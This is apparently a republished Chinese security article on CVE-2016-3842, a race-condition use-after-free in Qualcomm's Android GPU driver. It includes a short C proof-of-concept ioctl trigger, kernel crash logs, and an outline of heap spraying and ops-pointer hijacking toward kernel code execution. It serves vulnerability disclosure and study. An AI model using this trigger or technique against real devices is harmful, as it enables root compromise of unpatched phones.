安全動(dòng)態(tài)

危害9億安卓設(shè)備高通漏洞細(xì)節(jié)曝光（CVE-2016-3842,含POC）
來(lái)源：聚銘網(wǎng)絡(luò)    發(fā)布時(shí)間：2016-08-13    瀏覽次數(shù)：
 

信息來(lái)源：安全客

http://p8.qhimg.com/t015a77733ad88a4d9f.png

（一）、前言

就在幾天之前，安全研究專家在高通芯片內(nèi)發(fā)現(xiàn)了一系列嚴(yán)重的Android安全漏洞，受這些漏洞影響的Android智能手機(jī)和平板電腦數(shù)量將會(huì)超過(guò)九億臺(tái)。更可怕的是，大部分受漏洞影響的Android設(shè)備可能永遠(yuǎn)都不會(huì)被修復(fù)。

 據(jù)了解，安全研究專家此次曝光了四個(gè)漏洞，這一組漏洞代號(hào)為“Quadrooter”。這些漏洞存在于配備了高通芯片的Android設(shè)備中，受影響的Android系統(tǒng)版本為Android 6.0（Marshmallow）及其以下版本。攻擊者可以利用這些漏洞來(lái)獲取到目標(biāo)設(shè)備（配備了高通芯片）的完整訪問權(quán)限。

這四個(gè)安全漏洞分別為：

1.     CVE-2016-2503：該漏洞存在于高通芯片的GPU驅(qū)動(dòng)程序中，谷歌公司在2016年7月份的安卓安全公告中正式宣布成功修復(fù)了此漏洞。

2.     CVE-2016-2504：該漏洞存在于高通芯片的GPU驅(qū)動(dòng)程序中，谷歌公司在2016年8月份的安卓安全公告中正式宣布成功修復(fù)了此漏洞。

3.     CVE-2016-2059：該漏洞存在于高通芯片的內(nèi)核模塊中，公司于今年四月份就已經(jīng)修復(fù)了該漏洞。

4.     CVE-2016-5340：該漏洞同樣存在于高通芯片的GPU驅(qū)動(dòng)程序中，該漏洞目前已成功修復(fù)。

http://p8.qhimg.com/t01d932d2b589af9bd2.png

攻擊者只需要開發(fā)一個(gè)簡(jiǎn)單的惡意軟件，然后將惡意軟件發(fā)送給目標(biāo)用戶。一旦惡意軟件成功安裝，攻擊者就能夠直接獲取到感染設(shè)備的root訪問權(quán)限。

我們?cè)谙旅孢@份列表中列出了當(dāng)前較為熱門的幾款受影響設(shè)備，雖然還有很多其他的移動(dòng)設(shè)備同樣會(huì)受到上述漏洞的影響，但是由于相關(guān)設(shè)備的數(shù)量過(guò)于龐大，所以我們?cè)诖藷o(wú)法一一列舉。

－Samsung Galaxy S7、Samsung S7 Edge

－Sony Xperia Z Ultra

－OnePlus One、OnePlus 2、OnePlus 3

－Google Nexus 5X、Nexus 6、Nexus 6P

－Blackphone 1、Blackphone 2

－HTC One、HTC M9、HTC 10

－LG G4、LG G5、LG V10

－New Moto X（Motorola）

－BlackBerry Priv

 

（二）、漏洞概述

2016年8月份的Nexus安全公告對(duì)這一漏洞（CVE-2016-3842）進(jìn)行了評(píng)估，感興趣的讀者可以點(diǎn)擊這里閱讀這份安全公告。

細(xì)心的讀者可能已經(jīng)發(fā)現(xiàn)了，這個(gè)漏洞似乎分配到了兩個(gè)CVE編號(hào)。這也就意味著，將會(huì)出現(xiàn)一個(gè)修復(fù)補(bǔ)丁將會(huì)同時(shí)修復(fù)兩個(gè)漏洞的情況，請(qǐng)大家不要驚訝。 

另外一個(gè)漏洞就是前言所提到的CVE-2016-2504，該漏洞的發(fā)現(xiàn)者是Adam Donenfeld。

我對(duì)漏洞CVE-2016-2504進(jìn)行了分析，但是我無(wú)法找出這兩個(gè)CVE漏洞之間的區(qū)別，所以我推測(cè)這兩個(gè)漏洞描述的是同一個(gè)問題。所以在這篇文章中，我只會(huì)對(duì)我上報(bào)給谷歌公司的那個(gè)初始漏洞進(jìn)行描述。


（三）、技術(shù)細(xì)節(jié)：

ioctl是設(shè)備驅(qū)動(dòng)程序中對(duì)設(shè)備的I/O通道進(jìn)行管理的函數(shù)，所謂對(duì)I/O通道進(jìn)行管理，指的就是對(duì)設(shè)備的一些特性進(jìn)行控制。ioctl函數(shù)是文件結(jié)構(gòu)中的一個(gè)屬性分量，如果你的驅(qū)動(dòng)程序提供了對(duì)ioctl的支持，用戶就能在用戶程序中使用ioctl函數(shù)控制設(shè)備的I/O通道。

高通的MSM GPU驅(qū)動(dòng)程序（也被稱為kgsl驅(qū)動(dòng)）提供了一個(gè)ioctl命令－IOCTL_KGSL_GPUMEM_ALLOC，這條控制命令可以允許用戶態(tài)的應(yīng)用程序分配得到GPU與主存共享的那一部分內(nèi)存空間。

在這個(gè)函數(shù)中，驅(qū)動(dòng)程序?qū)?huì)創(chuàng)建一個(gè)名為“kgsl_mem_entry”的結(jié)構(gòu)體來(lái)標(biāo)識(shí)被分配出去的那塊內(nèi)存空間。

當(dāng)某一線程向kgsl驅(qū)動(dòng)程序發(fā)送了IOCTL_KGSL_GPUMEM_ALLOC命令之后，函數(shù)“kgsl_mem_entry_attach_process”將會(huì)通過(guò)調(diào)用“idr_alloc”函數(shù)來(lái)為“kgsl_mem_entry”對(duì)象分配一個(gè)id。

但是在這個(gè)時(shí)候，可能有其他的線程會(huì)在函數(shù)“kgsl_ioctl_gpumem_alloc”的結(jié)果值還沒正常返回的情況下，就發(fā)送IOCTL_KGSL_GPUMEM_FREE_ID命令去釋放剛剛分配的結(jié)構(gòu)體對(duì)象（kgsl_mem_entry）。

這也就意味著，函數(shù)“kgsl_ioctl_gpumem_alloc”將會(huì)繼續(xù)使用這個(gè)已經(jīng)被釋放了的“kgsl_mem_entry”對(duì)象。

正如技術(shù)人員在補(bǔ)丁文件中寫到的那樣：

“如果我們過(guò)早地在idr和rb進(jìn)程樹中添加了kgsl_mem_entry指針，那么其他的線程就可以在這一對(duì)象得到創(chuàng)建函數(shù)的返回值之前，通過(guò)猜測(cè)對(duì)象ID或者GPU地址來(lái)操作這個(gè)結(jié)構(gòu)體對(duì)象了?！?/span>

實(shí)際上，“kgsl_mem_entry”對(duì)象的ID其實(shí)是非常好猜測(cè)的。你在內(nèi)核中分配的第一個(gè)entry其ID永遠(yuǎn)都為1。


（四）、概念驗(yàn)證POC

所以，你可以通過(guò)下列操作代碼來(lái)觸發(fā)這個(gè)漏洞：


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void kgsl_poc(){
//kgsl_sharedmem_page_alloc_user
    
  int fd = open("/dev/kgsl-3d0",0);
  
  struct kgsl_gpumem_alloc_id arg;
  
  arg.flags = 0;
  arg.size = 0xa18fb010b0c08000;
  
  ioctl(fd,IOCTL_KGSL_GPUMEM_ALLOC_ID, &arg);
}
int main(int argc, char *argv[]) {
  kgsl_poc();
  
  return 0;
}

運(yùn)行結(jié)果：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<1>[   96.006342] Unable to handle kernel NULL pointer dereference at virtual address 0000000c
<1>[   96.006370] pgd = ffffffc0303dd000
<1>[   96.006379] [0000000c] *pgd=0000000000000000
<0>[   96.006403] Internal error: Oops: 96000005 [#1] PREEMPT SMP
<4>[   96.006422] CPU: 2 PID: 5898 Comm: report Tainted: G        W    3.10.73-g8c0675f #1
<4>[   96.006432] task: ffffffc05ac7d600 ti: ffffffc03cd54000 task.ti: ffffffc03cd54000
<4>[   96.006457] PC is at msm_iommu_map_range+0x8c/0x344
<4>[   96.006468] LR is at msm_iommu_map_range+0x6c/0x344
<4>[   96.006478] pc : [<ffffffc0009eb5e8>] lr : [<ffffffc0009eb5c8>] pstate: 80000145
<4>[   96.006485] sp : ffffffc03cd57b60
<4>[   96.006493] x29: ffffffc03cd57b60 x28: ffffffc03cd54000
<4>[   96.006507] x27: 0000000000000001 x26: 0000000000000000
<4>[   96.006521] x25: ffffffc03cd57bf0 x24: 0000000000100000
<4>[   96.006536] x23: 00000000e8000000 x22: ffffffc001afe000
<4>[   96.006551] x21: 0000000000000000 x20: ffffffc0b655c4c0
<4>[   96.006566] x19: 0000000000100000 x18: ffffffc03cd57968
<4>[   96.006581] x17: 0000000000000000 x16: 0000000000000000
<4>[   96.006595] x15: 0000000000000000 x14: 0ffffffffffffffe
<4>[   96.006610] x13: 0000000000000010 x12: 0101010101010101
<4>[   96.006625] x11: 7f7f7f7f7f7f7f7f x10: 765e6e735e787173
<4>[   96.006640] x9 : 7f7f7f7f7f7f7f7f x8 : 000e773888717246
<4>[   96.006655] x7 : 0000000000000018 x6 : ffffffc0009eb55c
<4>[   96.006669] x5 : ffffffc0b655c4c0 x4 : 0000000000000000
<4>[   96.006684] x3 : 0000000000000000 x2 : ffffffc0b9e6c118
<4>[   96.006699] x1 : ffffffc0b9f03018 x0 : 0000000000000012
<4>[   96.006713]
<0>[   96.006722] Process report (pid: 5898, stack limit = 0xffffffc03cd54058)
<4>[   96.006731] Call trace:
<4>[   96.006744] [<ffffffc0009eb5e8>] msm_iommu_map_range+0x8c/0x344
<4>[   96.006756] [<ffffffc0009e6388>] iommu_map_range+0x20/0x34
<4>[   96.006776] [<ffffffc00057f47c>] kgsl_iommu_map+0x1ac/0x1f8
<4>[   96.006788] [<ffffffc00057c174>] kgsl_mmu_map+0x94/0x114
<4>[   96.006807] [<ffffffc00056c81c>] kgsl_mem_entry_attach_process.isra.26+0x120/0x170
<4>[   96.006819] [<ffffffc00056d098>] kgsl_ioctl_gpumem_alloc+0x64/0x144
<4>[   96.006833] [<ffffffc00056f488>] kgsl_ioctl_helper+0x220/0x2b8
<4>[   96.006844] [<ffffffc00056f53c>] kgsl_ioctl+0x1c/0x28
<4>[   96.006862] [<ffffffc00030c1e0>] do_vfs_ioctl+0x4a8/0x57c
<4>[   96.006874] [<ffffffc00030c310>] SyS_ioctl+0x5c/0x88
<0>[   96.006888] Code: 35000700 b9407040 910243b9 b9009fa0 (b9400eb4)
<4>[   96.006927] ---[ end trace 221b98014bd


Poison Overwritten：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<3>[  181.749195] =============================================================================
<3>[  181.749229] BUG kmalloc-192 (Tainted: G        W   ): Poison overwritten
<3>[  181.749246] ——————————————————————————————————————
<3>[  181.749246] 
<4>[  181.749268] Disabling lock debugging due to kernel taint
<3>[  181.749289] INFO: 0xffffffc0af755f88-0xffffffc0af755f8f. First byte 0x0 instead of 0x6b
<3>[  181.749332] INFO: Allocated in _gpumem_alloc.constprop.11+0xe0/0x220 age=0 cpu=2 pid=1678
<3>[  181.749360]     alloc_debug_processing+0xc8/0x16c
<3>[  181.749387]     __slab_alloc.isra.20.constprop.27+0x27c/0x2dc
<3>[  181.749411]     kmem_cache_alloc_trace+0x74/0x1c8
<3>[  181.749434]     _gpumem_alloc.constprop.11+0xdc/0x220
<3>[  181.749459]     kgsl_ioctl_gpumem_alloc+0x40/0x18c
<3>[  181.749485]     kgsl_ioctl_helper+0x2c4/0x340
<3>[  181.749508]     kgsl_ioctl+0x3c/0x50
<3>[  181.749532]     vfs_ioctl+0x60/0x74
<3>[  181.749555]     do_vfs_ioctl+0x98/0x610
<3>[  181.749577]     SyS_ioctl+0x70/0xac
<3>[  181.749603]     cpu_switch_to+0x48/0x4c
<3>[  181.749633] INFO: Freed in kgsl_mem_entry_destroy+0xac/0x1a4 age=0 cpu=1 pid=1680
<3>[  181.749658]     free_debug_processing+0x204/0x2ac
<3>[  181.749680]     __slab_free+0x1b8/0x2cc
<3>[  181.749703]     kfree+0x218/0x220
<3>[  181.749726]     kgsl_mem_entry_destroy+0xa8/0x1a4
<3>[  181.749750]     _sharedmem_free_entry+0x214/0x22c
<3>[  181.749774]     kgsl_ioctl_gpumem_free_id+0x158/0x164
<3>[  181.749799]     kgsl_ioctl_helper+0x2c4/0x340
<3>[  181.749822]     kgsl_ioctl+0x3c/0x50
<3>[  181.749844]     vfs_ioctl+0x60/0x74
<3>[  181.749867]     do_vfs_ioctl+0x98/0x610
<3>[  181.749889]     SyS_ioctl+0x70/0xac
<3>[  181.749913]     cpu_switch_to+0x48/0x4c
<3>[  181.749936] INFO: Slab 0xffffffbc06da9480 objects=28 used=28 fp=0x          (null) flags=0x4080
<3>[  181.749956] INFO: Object 0xffffffc0af755f80 @offset=8064 fp=0xffffffc0af757180


（五）、漏洞利用

在我看來(lái)，雖然攻擊者可以利用這個(gè)漏洞來(lái)進(jìn)行攻擊，但是針對(duì)該漏洞的利用技術(shù)非常不穩(wěn)定。

我很想跟大家分享一些關(guān)于這一漏洞的利用技術(shù)，但是說(shuō)實(shí)話，我自己也沒能夠完全掌握該漏洞的利用技巧。

對(duì)于我自己而言，只有穩(wěn)定且通用的漏洞利用技術(shù)才值得花時(shí)間去開發(fā)，所以我就不打算在這個(gè)漏洞上花費(fèi)太多的時(shí)間和精力了。

為了避免在漏洞利用的過(guò)程中出現(xiàn)內(nèi)核崩潰的情況，你需要在短時(shí)間內(nèi)重新為系統(tǒng)分配一個(gè)新的“mem_entry”對(duì)象（因?yàn)橹暗膶?duì)象已經(jīng)被清空了），而且至少要在分配進(jìn)程訪問“msm_iommu_map_range”地址之前完成你的對(duì)象分配操作。 

在這一過(guò)程中不得不提到一項(xiàng)技術(shù)，即堆噴射技術(shù)。在計(jì)算機(jī)安全領(lǐng)域中，如果想要實(shí)現(xiàn)任意代碼執(zhí)行，那么堆噴射技術(shù)（Heap Spraying）就是一種較為容易的技術(shù)實(shí)現(xiàn)手段了。在一般情況下，堆噴射代碼會(huì)試圖將自身大面積地填充至進(jìn)程的堆?？臻g中，并以正確的方式將命令寫滿這部分內(nèi)存區(qū)域，以實(shí)現(xiàn)在目標(biāo)進(jìn)程的內(nèi)存中預(yù)留位置，并寫入任意的控制指令。

為了實(shí)現(xiàn)這一步操作，我嘗試了多種方法，包括采用堆噴射技術(shù)來(lái)填充內(nèi)核空間。但是我在測(cè)試之后發(fā)現(xiàn)，我所采用的最佳方法其成功率也只有40%，大部分情況下內(nèi)核都會(huì)發(fā)生崩潰。我所采用的方法就是通過(guò)seccomp-bpf程序配合堆噴射技術(shù)，迅速將數(shù)據(jù)內(nèi)容填充堆內(nèi)存空間。谷歌的Project Zero團(tuán)隊(duì)曾在去年的一篇文章中介紹過(guò)這項(xiàng)技術(shù)，感興趣的讀者可以點(diǎn)擊這里進(jìn)行閱讀。需要注意的是，seccomp-bpf只能用于對(duì)版本為3.10的內(nèi)核進(jìn)行堆噴操作。如果我們能夠重新填充之前被意外釋放的那部分內(nèi)存空間，那么控制目標(biāo)計(jì)算機(jī)的注冊(cè)表也就是一件很簡(jiǎn)單的事情了。

在“kgsl_mem_entry”結(jié)構(gòu)體中，存在一個(gè)名為“kgsl_memdesc_ops”的結(jié)構(gòu)體指針，它可以被攻擊者完全控制：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
struct kgsl_mem_entry {
    struct kref refcount;
    struct kgsl_memdesc memdesc;
    void *priv_data;
    struct rb_node node;
    unsigned int id;
    struct kgsl_process_private *priv;
    int pending_free;
};
  
/* shared memory allocation */
struct kgsl_memdesc {
    struct kgsl_pagetable *pagetable;
    void *hostptr;
    unsigned int hostptr_count;
    unsigned long useraddr;
    unsigned int gpuaddr;
    phys_addr_t physaddr;
    size_t size;
    unsigned int priv;
    struct scatterlist *sg;
    unsigned int sglen;
    struct kgsl_memdesc_ops *ops;   /* ====== the POINTER of ops you can control */
    unsigned int flags;
    struct device *dev;
    struct dma_attrs attrs;
};
  
struct kgsl_memdesc_ops {
    unsigned int vmflags;
    int (*vmfault)(struct kgsl_memdesc *, struct vm_area_struct *,
               struct vm_fault *);
    void (*free)(struct kgsl_memdesc *memdesc);
    int (*map_kernel)(struct kgsl_memdesc *);
    void (*unmap_kernel)(struct kgsl_memdesc *);
};

通過(guò)重寫“kgsl_memdesc_ops”指針，并讓它指向你的ROP/JOP鏈，你就可以成功實(shí)現(xiàn)內(nèi)核代碼執(zhí)行了。

 

（六）、修復(fù)補(bǔ)?。?/span>

https://android.googlesource.com/kernel/msm/+/973f4134d9deb396415846f902848f0a32cb4cfa

 

（七）、漏洞時(shí)間軸

2016年4月25日：將該漏洞提交給谷歌公司；

2016年5月5日：谷歌公司對(duì)該漏洞進(jìn)行了評(píng)估，并將該漏洞的評(píng)級(jí)設(shè)置為“高危漏洞”；

2016年6月29日：該漏洞分配到了編號(hào)CVE-2016-3842；

2016年8月1日：2016年8月份的Nexus安全公告正式披露了該漏洞的內(nèi)容

 

（八）、總結(jié)

Android系統(tǒng)的安全問題真是令人頭疼的問題。再加上近期高通公司的處理器芯片頻爆漏洞，無(wú)疑是在給Android手機(jī)目前的安全現(xiàn)狀雪上加霜。

 

高通（Qualcomm）是一家美國(guó)的無(wú)線電通信技術(shù)研發(fā)公司，成立于1985年7月，在以技術(shù)創(chuàng)新推動(dòng)無(wú)線通訊向前發(fā)展方面扮演著重要的角色。目前，高通公司所生產(chǎn)的CPU芯片和GPU芯片已經(jīng)被廣泛應(yīng)用于各大廠商的安卓智能手機(jī)上了，考慮到如此大的用戶群體，高通公司是不是應(yīng)該加強(qiáng)產(chǎn)品的安全監(jiān)管呢？

 

當(dāng)然了，無(wú)論產(chǎn)品做得多么優(yōu)秀，安全問題永遠(yuǎn)都會(huì)存在。沒有折不斷的茅，也沒有攻不破的盾。也許這就是信息安全吧！

 

（九）、參考鏈接

1.kgsl驅(qū)動(dòng)程序中的另一個(gè)漏洞（已于2016年6月修復(fù)）：

http://retme.net/index.php/2016/06/12/CVE-2016-2468.html

2.2016年8月份的Nexus安全公告：

https://source.android.com/security/bulletin/2016-08-01.html

3.Project Zero項(xiàng)目團(tuán)隊(duì)于2015年1月份發(fā)表的技術(shù)文章（涉及seccomp-bpf）：

http://googleprojectzero.blogspot.jp/2015/01/exploiting-nvmap-to-escape-chrome.html

4.漏洞修復(fù)補(bǔ)?。?/span>

https://android.googlesource.com/kernel/msm/+/973f4134d9deb396415846f902848f0a32cb4cfa

5.“Quadrooter”漏洞報(bào)告（The Hacker News）：

http://thehackernews.com/2016/08/hack-android-phone.html

本文由 安全客 原創(chuàng)發(fā)布，如需轉(zhuǎn)載請(qǐng)注明來(lái)源及本文地址。
本文地址：http://bobao.#/learning/detail/2959.html


 
 

上一篇：360公布2016上半年十大APT攻擊組織

下一篇：2016年08月14日 聚銘安全速遞